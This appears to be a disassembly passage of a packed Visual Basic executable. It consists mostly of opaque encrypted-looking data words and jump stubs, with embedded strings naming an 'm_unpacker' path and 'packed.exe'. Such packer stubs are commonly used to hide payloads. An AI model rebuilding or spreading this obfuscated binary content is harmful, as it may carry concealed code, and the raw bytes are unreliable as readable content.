		dd 0D681C1B8h, 53CC5A00h, 81665358h, 5E0563E1h,	59ADC081h
		dd 0CB50000h, 164D68h, 8BB15F00h, 8D0F30FFh, 1,	56BA5BFCh
		dd 815AF714h, 0B2EFD5C3h, 81F08B73h, 3D54DEBh, 23EB8157h
		dd 0F580723h, 588h, 0CE816600h,	6653341Bh, 8FF18Bh, 0BA04E883h
		dd 202C7B1h, 0BD850F4Fh, 0E8FFFFFFh, 0Ch, 0FC9A7F91h, 2FEAA87h
		dd 2F7C780h, 4FE68166h,	75E9591Fh, 0EE000001h, 0DD730B61h
		dd 437C8360h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F12DA
; ---------------------------------------------------------------------------
		push	7D7918Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D792A5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79378h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79464h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D794A3h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79592h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D795FAh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79641h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79D64h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79E0Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79EC3h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D79FC5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7A03Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db  68h	; h
		db  23h	; #
		db 0A1h	; ¡
		db 0D7h	; ×
		db    7
		db 0E9h	; é
		db  6Bh	; k
		db 0EEh	; î
		db 0F9h	; ù
		db 0FFh
; ---------------------------------------------------------------------------
		push	7D7A1F8h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7A295h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7A91Ah
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7AA2Eh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7AAD0h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0D8h
		dd 0C0AD3AA6h, 0AE9B28C4h, 9D8A17E9h, 867300FEh, 0A45FEC04h
		dd 19D7B3F9h, 6E49F8Ch,	0F10F8C79h, 0DB197764h,	3C0AC4Eh
		dd 1A00446Ah, 2294725Ah, 0B4F47936h, 39D01228h,	0CBDFBDAAh
		dd 4C21DEC9h, 781228B5h, 0CEB34AE1h, 33F0A3E1h,	1228B53Ah
		dd 705CF38Ah, 5DEC0283h, 0B15042D0h, 0E86608C5h, 0C75E19F9h
		dd 0E94425E2h, 0A79319F9h, 3E23DDBAh, 0BE6D18A7h, 9E65B2FDh
		dd 5E2B41h, 0DB3F0000h,	0E804C7ACh, 4A28B712h, 3EF1280h
		dd 0FF6E2B17h, 0C51228B4h, 7B52CA2Eh, 48815B7Ch, 94B6FCB9h
		dd 210E19FAh, 6F28967h,	95105D1Ah, 1DB419FAh, 0D1BDA98Eh
		dd 0FA955914h, 45D46B19h, 0FA94E188h, 0DC4BF619h, 9F15D4DBh
		dd 8103F041h, 0ABC27F6Bh, 1919FA88h, 0B320F382h, 42000000h
		dd 99856321h, 2F14E8ACh, 37240998h, 0CBB89D5Bh,	5D4A2FCDh
		dd 7734C13Fh, 1228B93Eh, 0B6A25E3Eh, 4D32CCC9h,	0AD9A27B6h
		dd 9E2C11EFh, 64210DECh, 19F9CCDAh, 38C653EAh, 0D895524Ah
		dd 0EC19F9CCh, 15D2BE55h, 21CDAF04h, 513D29C0h,	16D1BEEDh
		dd 0AF3E9795h, 9B28C0C2h, 6014ECAEh, 0FEB8CAC3h, 5940B89Dh
		dd 9400001Ah, 7C69F6EAh, 6A57E418h, 5946D32Dh, 422FBC3Ah
		dd 601BA840h, 0DD1B773Dh, 0CA206350h, 0B533503Dh, 9F5D3B28h
		dd 0C7847012h, 1A0045A6h, 2158361Eh, 0DFA8761h,	9985718Fh
		dd 28B491DCh, 3E2FEC12h, 861228B5h, 24B34AEFh, 1280B997h
		dd 12FFF999h, 0FF967B75h, 0A3907C68h, 8B2207E5h, 0DD733FFCh
		dd 0BA5119F9h, 4AA4E1CEh, 5A3FCE65h, 0F9DDCC9Dh, 0B1600B19h
		dd 0F10F8E7Bh, 0DE254805h, 89F19F9h, 5EAD0279h,	0D730419Eh
		dd 52000000h, 99856321h, 9FC90C35h, 0FBA004E2h,	2C11A0BBh
		dd 364F433Fh, 0E1C62262h, 37CEB34Ah, 0CCC7B4A0h, 5788961h
		dd 72098198h, 8267F68Dh, 296FF0C5h, 0F00C8C12h,	0DA167663h
		dd 803B67F5h, 6652E907h, 0F00E8D7Ah, 839AA461h,	932A19FAh
		dd 682D1A06h, 83E98441h, 44DB19FAh, 29C7C0ADh, 901EAD44h
		dd 2713FFE2h, 0B39F593Ah, 0FA8377F6h, 27B64D19h, 0CE629E6Ah
		dd 0A38F2621h, 8F1CD4B6h, 5408E0A2h, 0FEB99ACDh, 4136AE93h
		dd 7C000019h, 6451DE02h, 523FCC20h, 412EBB35h, 2A17A442h
		dd 48039068h, 0C5235F55h, 0B2484B38h, 9D5B3825h, 87652310h
		dd 0AF6C58FAh, 1A0046BEh, 21401E06h, 0DFA8761h,	0E5F1C8Fh
		dd 0B61228B5h, 0FFB881Fh, 0B5076623h, 26BD1228h, 6321B997h
		dd 0D5B3A085h, 8EFC8A17h, 10C27F6Bh, 0B419F9D6h, 0EE7B381Dh
		dd 0E919F9D5h, 0E1CECF3Eh, 0FC419E52h, 0ADh, 5CDC311Eh
		dd 22DFCB2Eh, 19F9E6FCh, 95D89581h, 2F19F9E6h, 0E6E78643h
		dd 46DD19F9h, 0E47B20AFh, 8E79C27Fh, 3062EE94h,	95F9E5D1h
		dd 0CB7A8DFh, 0A562F1DBh, 0F664EDF5h, 0C55338CFh, 43BDDED5h
		dd 0E7D4C0ACh, 2BF4EACh, 0FE399451h, 3F0DC73h, 0EDDA6785h
		dd 0F09D51AFh, 0D41D0CEBh, 186E77EFh, 0F5A90000h, 0F7917E0Bh
		dd 67F6CF9h, 2F6E5BE8h,	3B5744D1h, 287530BDh, 5DEA0684h
		dd 4AD71570h, 35C23C5Dh, 1FAC4848h, 99D4917Dh, 2B1A0047h
		dd 63216543h, 0F0AD9985h, 1228B47Dh, 3C21B047h,	311DFCAEh
		dd 0F9D65E74h, 42CF6619h, 79362264h, 1228B4F4h,	0CDAA39D0h
		dd 678AF840h, 0E660BE7Bh, 301D19F9h, 0EB823F50h, 0D919F9E6h
		dd 2FC6AB42h, 0E6E78643h, 46DD19F9h, 8F7B12B7h,	2308E0A2h
		dd 0DB98FD8Ch, 0A122E184h, 0DAC62B57h, 0F3EA7D1Dh, 0CBB047A8h
		dd 7CDF4D3Dh, 2FCDCBCDh, 898E94CBh, 781906F2h, 0EDAC997Eh
		dd 0FC932A0Fh, 8FC4816Dh, 35B0C881h, 0C7C5B29Eh, 825617D4h
		dd 816EB0C8h, 6D04E907h, 0EF533FD6h, 41DAF85h, 0F659BD43h
		dd 8CE1DE99h, 9A8613A2h, 0C5C0E8ADh, 14019027h,	0C1C47874h
		dd 0DF6F83BCh, 178282FAh, 0C1BD0000h, 0E3A5921Fh, 0F293800Dh
		dd 3826FFCh, 2F6B58E5h,	148944D1h, 7906E2A0h, 66F3098Ch
		dd 51DE1879h, 3BC82464h, 7DF0AD99h, 471A0048h, 6321815Fh
		dd 34A8D185h, 4F34F11Ch, 1743D7h, 0E0007E00h, 0CE226653h
		dd 0BD335441h, 0A6444330h, 926E2C19h, 61534A05h, 4D3AC721h
		dd 3A27B44Ah, 25129F59h, 5AFC8967h, 48BCB16Eh, 20081A00h
		dd 0B8632142h, 1BB18B99h, 846900C1h, 796584F6h,	0CB9DD08Dh
		dd 23E01228h, 1228CC4Ah, 0DA3EE37Ah, 58925E24h,	0DD6C035Fh
		dd 82EA34F1h, 0A69319FAh, 1FB53EE5h, 0BE8915A1h, 5CF39827h
		dd 1680C70h, 0F7FAAC6Ah, 0FEDB68h, 5133681Ah, 2C18049Bh
		dd 0C6EA8340h, 891B19F9h, 1EA269B4h, 2CBB52F7h,	0CB9CAF6Fh
		dd 197E1521h, 0A844402Dh, 531AD7C3h, 7121CB9Dh,	365643DAh
		dd 0AF3ED5BAh, 7454C9F2h, 816012BEh, 5CC2D895h,	6B02C645h
		dd 678AF886h, 395BE7Bh,	982FCE1Ah, 17D4C0ACh, 0CE1A0456h
		dd 5B48D76Eh, 3D86F23Dh, 0AC34520h, 0ED847A1Dh,	0D7157360h
		dd 0ED367423h, 0F876C4Ah, 1654h, 64F1EF8Fh, 52DF1D77h
		dd 41CE2065h, 2AB73554h, 16A35D3Dh, 286A425Bh, 335643D0h
		dd 464330BDh, 6E2E1BA8h, 77630592h, 49B3BAh, 4B29111Ah
		dd 28B51C51h, 15746112h, 6E5BF2D7h, 5BF2D729h, 0C55A0FCCh
		dd 17521228h, 661228D5h, 4DB97102h, 0EF7EBFA5h,	290A3732h
		dd 0A9474512h, 1C61B0F5h, 87FFE4F1h, 15ECh, 0FC897727h
		dd 0EA77750Fh, 0D96698FDh, 0C24FADECh, 0AE3BB5D5h, 8002AAF3h
		dd 0ABEEDB68h, 0BEDBC855h, 0C6C6B340h, 0FFB9D2Ah, 4A1B52h
		dd 0E3C1A91Ah, 3EF1280h, 0F9C53846h, 41F58C19h,	0F6CD247Eh
		dd 0A549C1A6h, 0E0000015h, 0C8B542BEh, 0B6A330CCh, 0A5921FD1h
		dd 8E7B08E6h, 0AC67F40Ch, 21DFBBF1h, 0EECA794h,	0F9F79481h
		dd 0E3017F6Ch, 0BC8B456h, 1A004A62h, 229C7A62h,	4C475335h
		dd 9B32C9AEh, 8413EDAEh, 16FBF997h, 0A88D6B29h,	0E9AA5904h
		dd 39CD31C6h, 4A17h, 0BE223900h, 1BC7CBEFh, 0B4710097h
		dd 122921B5h, 9E2BC9C7h, 2CC2C5B2h, 0D84CB047h,	4B27FA9Eh
		dd 0D810CD5Ch, 0FA128503h, 803D2915h, 128503EDh, 39B140D7h
		dd 151Ch, 0C9A4614Dh, 0B4128503h, 850376F7h, 12B74E12h
		dd 210EEC7Bh, 94522F63h, 2AC6C2AFh, 8017AE45h, 7C9D0D9Bh
		dd 0BA5FD390h, 0CE6519F9h, 2D685541h, 4726E3CFh, 7D19F9BBh
		dd 0D9C957E6h, 478F4C38h, 7D21CAE5h, 731401E6h,	3733F07Dh
		dd 4521CAE5h, 3320AD43h, 0C9B69B51h, 584531CFh,	42D9BE3Ah
		dd 9742CEB3h, 19D7B168h, 0C75FC92Dh, 4AFC5577h,	34C33D5Dh
		dd 4B7F30A7h, 0B55E496Fh, 80000002h, 3EF1280h, 916F2A17h
		dd 6C2915ACh, 1228B501h, 0E09D2CC3h, 19F9C456h,	9E5A3A27h
		dd 30CCCCB9h, 79650A99h, 0F9C3B1BCh, 0E57C1319h, 7B711300h
		dd 751502EEh, 85FFEC7Bh, 33945B9Ah, 3824547Fh, 0FA1FF27Bh
		dd 0A43BD219h, 2F6702BFh, 0EB919FAh, 906C281Fh,	0E4057503h
		dd 46533BF8h, 0DA7121CBh, 0A18A08F5h, 2560C764h, 0E7D36A47h
		dd 728E0EFBh, 3439F68Dh, 9021CB83h, 0F0DD6AF9h,	0B4715692h
		dd 21CB82B7h, 0F2907D69h, 0EB7A11F6h, 385AD140h, 4B526BF3h
		dd 56EDF530h, 4F1DDC9h,	0EE856A86h, 0CAC13C31h,	62F18821h
		dd 5743A6D4h, 18782A6Ah, 0C96045DCh, 61914E3Ah,	63299BEEh
		dd 0EFBE7CCh, 0D601D8Eh, 0B7299BEFh, 0DFA8920h,	0F7E4718Fh
		dd 8A765B99h, 7504FA9Dh, 9BEEB5B8h, 2BC9C729h, 0BD3B5946h
		dd 0C07C74D8h, 0F9EB4A56h, 0BF76A550h, 0AA4126C4h, 0F01FCA13h
		dd 9399D63Ah, 5E79CFDh
		dd 0ED0B8976h, 7B711401h, 16725FECh, 8C08F5DAh,	13FF8B70h
		dd 0C2036A27h, 2AC1299Bh, 0A01F09Bh, 6EE5728Eh,	51404341h
		dd 0BE9Ch, 6121BE00h, 0B10985BAh, 3B286243h, 1F0BA258h
		dd 7965232h, 9B553522h,	907F2AB6h, 13FFF999h, 0EF7E3B27h
		dd 0D5122966h, 66EC813Eh, 41D81229h, 1AE25B2h, 0DC39CDE4h
		dd 83h,	2FBE22FEh, 0ABC27F47h, 19122911h, 5AB1E82h, 0BCDCC958h
		dd 3F05440h, 0B8F39BAEh, 4F3C21B0h, 0CCA15E31h,	0F812290Ah
		dd 59E5CA61h, 0C8C87FAEh, 87289F2Ch, 5639CD88h,	47h, 0E21C7D6Ah
		dd 195411FDh, 0AB122903h, 10EE7D14h, 3EF1280h, 936D2A17h
		dd 0E4B317AEh, 0C1E2BC73h, 9D5512A1h, 2719FAC9h, 42ECCC3h
		dd 9BFE3F4Fh, 5237CE65h, 0FB89D495h, 0A9580319h, 0A006C7E8h
		dd 0CA1641h, 22380000h,	69A64DBEh, 0F78696DDh, 6823969h
		dd 0D76E05EAh, 5613FFEBh, 1229B117h, 26C2C0ADh,	0AB43008Fh
		dd 1919FAC4h, 0F9906C2Ch, 8F6D2714h, 0B0731502h, 4E33A11Bh
		dd 0C2816649h, 26057D05h, 200CF88Fh, 0FBB00A63h, 0D5137219h
		dd 1DB459F0h, 0D8BCA98Eh, 0C7B33F24h, 5B40B8DAh, 9B8A35C4h
		dd 7F0CE0A4h, 0B6B62F93h, 66A8405h, 9F2E8565h, 9F858728h
		dd 4C5641h, 66A0000h, 6E49C68Dh, 0C6A43364h, 0FEEA1980h
		dd 91767011h, 0B485E8A5h, 0A83F1228h, 5682511h,	0BF1228B5h
		dd 0F0AD9928h, 9228B45Dh, 2EEBD067h, 9228B63Bh,	532BDA85h
		dd 0E5D1BD2Ch, 0CF5E9AF8h, 28B63B12h, 65F28912h, 7EDh
		dd 2E960F00h, 0B8000000h, 0A58A6421h, 9320DCB8h, 290EE2A6h
		dd 1F04E59Bh, 28B50662h, 0F726D112h, 0D5985541h, 0EF1228B4h
		dd 5D52C958h, 8039CD36h, 0BBEh,	1C1880A2h, 88E6B60Ch, 0ABEEDB79h
		dd 1CD9BE55h, 9BD480C8h, 0F4B5640Fh, 0C378FDBBh, 3D22h
		dd 0BE224400h, 5221C935h, 4E0BF7C9h, 1228C11Fh,	0F17F0EA5h
		dd 0B16E5A8Bh, 1228C0BCh, 0CF8C7108h, 0BB9C8E40h, 0BCA15F3Ch
		dd 5136B4CFh, 4021D07Bh, 931403AEh, 0E3410F1Ch,	249C1h
		dd 1880E300h, 15FAF093h, 4809E77Eh, 8563216Ah, 7DF0AD99h
		dd 471228B4h, 0A94321B0h, 2A2897CBh, 35D53CCDh,	0E9000000h
		dd 0B52D40FDh, 0AB970F28h, 28B47FEEh, 17AE450Fh, 0CFF0F7B3h
		dd 39C822A3h, 0E918805Bh, 565220Bh, 0BF1228B5h,	44224A28h
		dd 0AC8A6421h, 3496C09Eh, 0B8000000h, 99573522h, 620BC8B4h
		dd 621228B4h, 17A534CBh, 22A28061h, 28B50565h, 2E0CA312h
		dd 98563522h, 512F1CB3h, 2C180493h, 17A6443Fh, 8A642139h
		dd 22C09EACh, 40455535h, 9B3217AEh, 23E34F0Ch, 0F9997546h
		dd 78572FFh, 543623E9h,	3EFD69Ch, 926E2A17h, 145916ADh
		dd 0B0754624h, 30DF8A19h, 758B0DFAh, 5D9BF9E6h,	6F8D0BF8h
		dd 0F983CCA9h, 2868DF4Eh, 1A7A67CCh, 8205F2DEh,	61F0876Ch
		dd 0EEECAE9Bh, 7546237Ch, 0FEEBB148h, 9380659Bh, 6D16FBF1h
		dd 0BCDC53C2h, 2DC45B40h, 0B56C9B46h, 0D0C4C3D7h, 0BC5338B4h
		dd 0B5A28E25h, 9F361BD5h, 0DCBEAB10h, 0EF533F24h, 0D17D7525h
		dd 6643D2BEh, 3F29D62h,	0E5728E0Ch, 965C98F8h, 81E9E9A9h
		dd 0FC75468Ah, 38A35E98h, 33C263DDh, 1F0BF78Eh,	462E0B62h
		dd 9322B975h, 0B3620DCDh, 7BE01C7Ch, 56250E8Eh,	853E2E02h
		dd 38C98318h, 79AACAD4h, 713F1CE2h, 0C278A752h,	3CCA5A5Eh
		dd 28B7ADC8h, 48495D3Bh, 6805C2AEh, 5C7545F7h, 0DDC92EC5h
		dd 870195F0h, 56EDD269h, 0E9BADAC7h, 45F8412Ch,	55EC8375h
		dd 8E0A28Fh, 41B05B42h,	0BFD8CACAh, 6745AA41h, 0A7856321h
		dd 8D4A3622h, 1228B4E0h, 0DD904DE4h, 0E71228B4h, 0FFBC150h
		dd 0B5076623h, 26BD1228h, 1980B997h, 35220CEAh,	0A60B9A54h
		dd 2A2897C8h, 38D53CCDh, 0F7000000h, 0CEA1980h,	0B5056522h
		dd 28BF1228h, 2144224Ah, 0B19D8967h, 0B46508C5h, 0C85F1228h
		dd 28B4620Bh, 3CCB6212h, 5335225Eh, 0B29E0E9Dh,	9B2AC4C5h
		dd 3096BDh, 80B80000h, 220CEA19h, 28B50565h, 2E0CA312h
		dd 0F4793622h, 0D01228B4h, 0D2BEAA39h, 0B76FDF6Eh, 50B4D3CFh
		dd 2DE53A8Dh, 9E77671h,	0AB896721h, 4351C09Eh, 8F1228C6h
		dd 0FFFD5C17h, 185139FFh, 0C31228B5h, 53402CDDh, 40D7BC32h
		dd 5E3724B1h, 6FFEBBA0h, 511228B4h, 0C7C077A6h,	33503D29h
		dd 0AA39D0B5h, 9854301Dh, 0E7067D0Bh, 8714502h,	0BB66547Fh
		dd 86644B4Ch, 27797C23h, 8D000002h, 1C09E7A0h, 9A0857Bh
		dd 19519C7Ah, 0C21228B5h, 884531D0h, 19F9CA6Eh,	4532BF56h
		dd 0DCC9AE40h, 735F44B8h, 0CAA3CA87h, 8A2119F9h, 768A0EFBh
		dd 1C970391h, 2EE857Bh,	0CAFDD145h, 0C4BFAC21h,	1BAA4126h
		dd 5E2BDF76h, 8AFEBE7Dh, 0E822DA5h, 0C1BD0000h,	0E3A5921Fh
		dd 0F293800Dh, 3826FFCh, 2F6B58E5h, 148944D1h, 7906E2A0h
		dd 66F3098Ch, 51DE1879h, 3BC82464h, 7DF0AD99h, 471A0051h
		dd 0BE22815Fh, 420F4327h, 6B58E7ADh, 5CEACF2Dh,	0DD13752Eh
		dd 7EFD61F8h, 0E7A0563Bh, 93503CD3h, 1A00712Ah,	2A17039Ah
		dd 1906936Dh, 0B19D827Ch, 4429C7C4h, 53311EADh,	0BB315340h
		dd 706FFEh, 2968551Ah, 0B84FE6CBh, 0EC503C21h, 40535543h
		dd 7F89EDFCh, 5DE257E3h, 87A0897h, 2DAC451Ch, 0CEBB86E6h
		dd 0AE9A31CFh, 0D1327DF1h, 0FCB04721h, 0FEB44AD5h, 0D96EE6CBh
		dd 1400000Dh, 0FCE9766Ah, 0EAD76498h, 0D9C653ADh, 0C2AF3CBAh
		dd 0E09B28C0h, 5D9BF7BDh, 4AA0E3D0h, 35B3D0BDh,	1FDDBBA8h
		dd 4704F092h, 1A005326h, 21D8B69Eh, 0B4A08563h,	0B4620BC8h
		dd 0CB621228h, 1DFCAE3Ch, 758CCD31h, 0C3F6DCC8h, 0B8B4834h
		dd 0B919F9F6h, 0E8A89522h, 81F17F0Ch, 45B66D93h, 9F36786Dh
		dd 0DED2F6B3h, 5BF221D1h, 0F496836Fh, 7806DFCh,	83705CE9h
		dd 1905EA00h, 0D1DF115Ch, 851CB321h, 728C09F6h,	4E0A08Dh
		dd 60CF331Fh, 4F833855h, 2F5BE978h, 92F1DECAh, 7F649CFEh
		dd 0D56C51E8h, 0D19D5A46h, 0F329A389h, 0E1B7A85Ch, 5439E666h
		dd 0D23DCh, 0C0205E00h,	0AE424633h, 9D533421h, 86642310h
		dd 728E0CF9h, 41732AE5h, 2D1AA741h, 1A07946Ah, 5F27F79h
		dd 3ADC6987h, 52DC914Eh, 0E81A00h, 85632122h, 0CAC7B4A0h
		dd 0EA83402Ch, 0DA1228B4h, 7426B443h, 0D6ECA995h, 0EE19F9DBh
		dd 0EC6E9E02h, 0BD01448h, 0FAAC1F4Eh, 770EA519h, 0E59AFEEAh
		dd 98CBD172h, 90F4E170h, 0F6E3CF5Ch, 0E1785D93h, 0CE206552h
		dd 35226341h, 7D0B9A54h, 70B71F0Dh, 6D21C88Fh, 112DEAD6h
		dd 6C19FA2Dh, 4D0F8508h, 0BA49D758h, 0AD997E15h, 0A26904C1h
		dd 0C45B19FAh, 553AB8D7h, 0F7722FBEh, 8519FAA2h, 1905EA04h
		dd 0FAA3115Ch, 2F1CB319h, 47B39856h, 7A0C6D9Ch,	8E6A18Eh
		dd 9C817F1Bh, 5CCB7605h, 9F24545Bh, 678941h, 21AB0000h
		dd 0B7A48967h, 4D3A1FDDh, 0DECBB04Eh, 6D5A46BAh, 0BA47D628h
		dd 0AF9B7E2Ch, 0F9DB44F2h, 35E98019h, 0F6CD1202h, 2145BDA2h
		dd 5C00000Ch, 4431BE22h, 321FAC40h, 210E9B55h, 0AF78462h
		dd 28E37088h, 0A5433F75h, 92682B18h, 7D7B1805h,	678503F0h
		dd 8F4C38DAh, 1A0053DEh, 2120FEE6h, 84FC8967h, 6Eh, 336721A6h
		dd 1FB69B51h, 6515A388h, 0EDAB9884h, 0B470FDBAh, 0BD541228h
		dd 35544126h, 0A43BD2B7h, 0AA6C2915h, 0D319F9E7h, 63B34B6Fh
		dd 7A09EF44h, 618A3ED5h, 3BF6CD32h, 0BAADE56h, 0B9E50000h
		dd 0CBCDBA47h, 0DABBA835h, 0EBAA9724h
		dd 0F793800Dh, 0ECB16CF9h, 0A12ECAC8h, 8E1BD1B4h, 7906E0A1h
		dd 63F00C8Ch, 5518D5C1h, 6F1A0055h, 6321A987h, 50B4A085h
		dd 0BE47C8Ah, 0BBF45883h, 0BC8F1BDCh, 0D8B8A534h, 0E893371Ch
		dd 5A170339h, 12298813h, 87C0AD6Ah, 6D041229h, 2BA231C8h
		dd 39CE0584h, 26E59h, 0EC317B00h, 0AF9B7E2Ch, 0F9E62CF2h
		dd 9C019819h, 2AC0C3B0h, 8E2EDE9Bh, 0FDAD0D91h,	0F1CC301Ch
		dd 0C73E152h, 0B19D8918h, 7DC474Dh, 91AC234Ah, 0A60AA10Dh
		dd 30BFA714h, 623DF773h, 39228615h, 0EF0D8CBCh,	0AD51F08Bh
		dd 0F6E2791Eh, 8BD4B392h, 0F180C623h, 970C7E0Ch, 0CEAA9FDh
		dd 62F99027h, 399AB976h, 932A1D37h, 0C8DABAA7h,	0B44B30CCh
		dd 0E5A3901Dh, 0B1545307h, 270CFA12h, 0AC3AFh, 6080FE00h
		dd 4EA2E6D3h, 3DB3D4C1h, 26C4C3B0h, 12EEAC99h, 0E1D3CA85h
		dd 0CDBA47A1h, 0BAA734CAh, 0A5921FD9h, 0DA7C09E7h, 563C31EEh
		dd 0A0881A00h, 896721C2h, 2F6416A4h, 0E9844154h, 0DB1228B4h
		dd 2A16AD44h, 8CBB4AC6h, 0A3DF7C6Eh, 32C96045h,	8CFAB7A3h
		dd 381A00D8h, 18AF4D4Bh, 9754402Ch, 1A00D8D6h, 0DBC857EEh
		dd 6A5642B8h, 43338306h, 0D592088Dh, 1A017498h,	7906952Ch
		dd 0EF3098Ch, 3EF1280h,	0D281F046h, 0E1A08D21h,	2F14EAADh
		dd 0CD720198h, 725E4A36h, 0D281B8B5h, 2AC6C421h, 725FEE85h
		dd 5F4CD917h, 82157024h, 0D281A8C5h, 0EE851C21h, 0C9867209h
		dd 21D281A4h, 0DF28920h, 9C503421h, 0A49120B7h,	435408E4h
		dd 15FEB5F9h, 9EEB830h,	75290000h, 7711FE8Bh, 86FFEC79h
		dd 0AFEEDB68h, 0BBD7C451h, 0A8F5B03Dh, 0DD6A8604h, 0CA5795F0h
		dd 0B542BCDDh, 9F2CC8C8h, 195411FDh, 0AB1A0056h, 0EEABE5C3h
		dd 1228B487h, 0E9F8E39h, 47533522h, 34CBB04Eh, 9221B89Dh
		dd 87739604h, 0F9C16CCAh, 66241119h, 0BF56FB8Ah, 4FA1E6D3h
		dd 4E4634C2h, 0F9C1DC91h, 3FFCE819h, 19F9C22Eh,	0D168FF96h
		dd 1795F9E5h, 4A0FEF33h, 5028E574h, 7421CE2Bh, 4805F1DDh
		dd 21CE2B25h, 8D79089Fh, 7704E0A0h, 3AEE0A8Ah, 0FEB943D7h
		dd 5170E8CDh, 8C000009h, 7461EE12h, 624FDC10h, 513ECB25h
		dd 3A27B432h, 5813A058h, 0D5136F45h, 0C2385B48h, 0AD4B4835h
		dd 97553320h, 0BF7C680Ah, 1A0056AEh, 51502E16h,	1228B518h
		dd 3BC82464h, 301CFDADh, 0FA020073h, 412DC419h,	1D59855h
		dd 0EBA819FAh, 19FA0182h, 1A06AB42h, 0FA02105Dh, 861DB419h
		dd 4F1E7722h, 0C7561031h, 53ADEEDBh, 0E8B8D9C6h, 7F6C51AFh
		dd 0B84FE604h, 8D65BD3h, 807D0000h, 0FFF99912h,	37BF7C68h
		dd 8D19F9CAh, 155411F6h, 0C219F9CAh, 8A7E817h, 0BC419E4Bh
		dd 0BCDEB2CFh, 31C85F44h, 161CFA2h, 22F10000h, 0F9B954BEh
		dd 0E37A5F99h, 110F8C7Fh, 0FAF49582h, 8F6D2815h, 21DFBDAAh
		dd 0B4324F3Ch, 9F593A27h, 99782CBAh, 7E5DC1ADh,	95A35606h
		dd 0F45A13D0h, 0D36A1228h, 7F6C5844h, 9A57E604h, 1228F40Bh
		dd 4A3622B9h, 28F3E08Dh, 0BE4DE412h, 968530D9h,	7704E29Fh
		dd 8BE29F8Bh, 391228F3h, 652613A2h, 56BAA68Bh, 0BC849D22h
		dd 0D506167Dh, 633B3CE0h, 0E1803DCCh, 0DF122986h, 0EFEA8FF3h
		dd 0C9E07C2h, 0EC23D27Dh, 6399FBAFh, 0C7B13FCCh, 5A46321Eh
		dd 29AAD09Dh, 4B08F412h, 1229AB22h, 10740BA2h, 7D245E4Ah
		dd 0D6932270h, 1229459Fh, 0BDA98E25h, 0D189E559h, 19047EBh
		dd 65257114h, 780FA68Bh, 0AF9BFFEBh, 629EFEC9h,	7601D8FEh
		dd 299BB4B9h, 0E2791012h, 0CD236653h, 0E8A67DE1h, 722FDB0Eh
		dd 0B03FD612h, 42BEDECBh, 1A09B45Dh, 9E8A6023h,	0F978F5B2h
		dd 0B54C1228h, 0E9AC9926h, 0F2A02E13h, 0F866230Fh, 0CC19FA02h
		dd 0AF46A4DFh, 9C523522h, 0BEDECBB7h, 7325B342h, 88E9A692h
		dd 3C19FA02h, 6C17C0A5h, 0ED0386BDh, 0D107360h,	5AFD1ED9h
		dd 0CBB04749h, 0C0AC4D3Dh, 4EACE7D4h, 8643D269h, 21CBA0F4h
		dd 8DE09D89h, 3721CBA0h, 0D56C11A0h, 0C2385B48h, 0AD4B4835h
		dd 4C473420h, 80411FAEh, 4603EF12h, 19F9BAECh, 705C41D8h
		dd 5AE90783h, 48D52B6Dh, 9419806Ah, 8118FDF3h, 0B51905EAh
		dd 67EA9FCAh, 489C6F50h, 5136A234h, 30CECDBAh, 6825B44Bh
		dd 12291201h, 0BBFC2BD6h, 39CD92F4h, 41E9h, 67210B00h
		dd 0CBB8A489h, 0E8A534CAh, 1228B485h, 0AA61903Bh, 998512EEh
		dd 0B47DF0ADh, 0B0471228h, 0DA496421h, 9D891228h, 2E879F39h
		dd 17AE936Dh, 5C52B7B3h, 0FF9755CDh, 7C69FFFFh,	68FFE418h
		dd 3522FBD9h, 1CB39856h, 4E0A08Dh, 906E2B18h, 0A78514ABh
		dd 19804B29h, 0DFAF694h, 0F58C718Fh, 0A381805Eh, 0CD2A2897h
		dd 0A658BC3Ch, 6FCB1065h, 3A0EE170h, 30000000h,	0CEA1980h
		dd 4E493622h, 2BC1C3B0h, 0B48EDF9Ch, 0D2361228h, 744EE470h
		dd 0BA982F1Dh, 4B493622h, 0A231C8ADh, 896721C4h, 533522ABh
		dd 19D7B09Dh, 963C1A8Ah, 1Dh, 0EA1980B8h, 5435220Ch, 8F1EB59Ah
		dd 0B487E6A3h, 8A211228h, 214422ACh, 9EAB8967h,	8A6421C0h
		dd 0CECCB9A5h, 0B54D20DDh, 0E0771228h, 70FDBA49h, 501228B4h
		dd 0C6BF76A5h, 2DE9B28h, 0D01228C5h, 0FFF42758h, 5F086CFFh
		dd 0B68E77FDh, 9E0B8FF3h, 0C4FB9FE3h, 35225735h, 1FB69B55h
		dd 0B0955332h, 0FB9D8A19h, 263E0C38h, 0A53CC397h, 33C9CCB9h
		dd 0B19FEA4Eh, 2A6875F7h, 0E9770493h, 0AF6C58B9h, 19FA4FCFh
		dd 8D795EF5h, 3439E2A0h, 5B9720DAh, 29C0A53Ch, 668CDD9Ah
		dd 0A04B19FAh, 0E47F3071h, 75E419Eh, 80000000h,	196h, 1280B800h
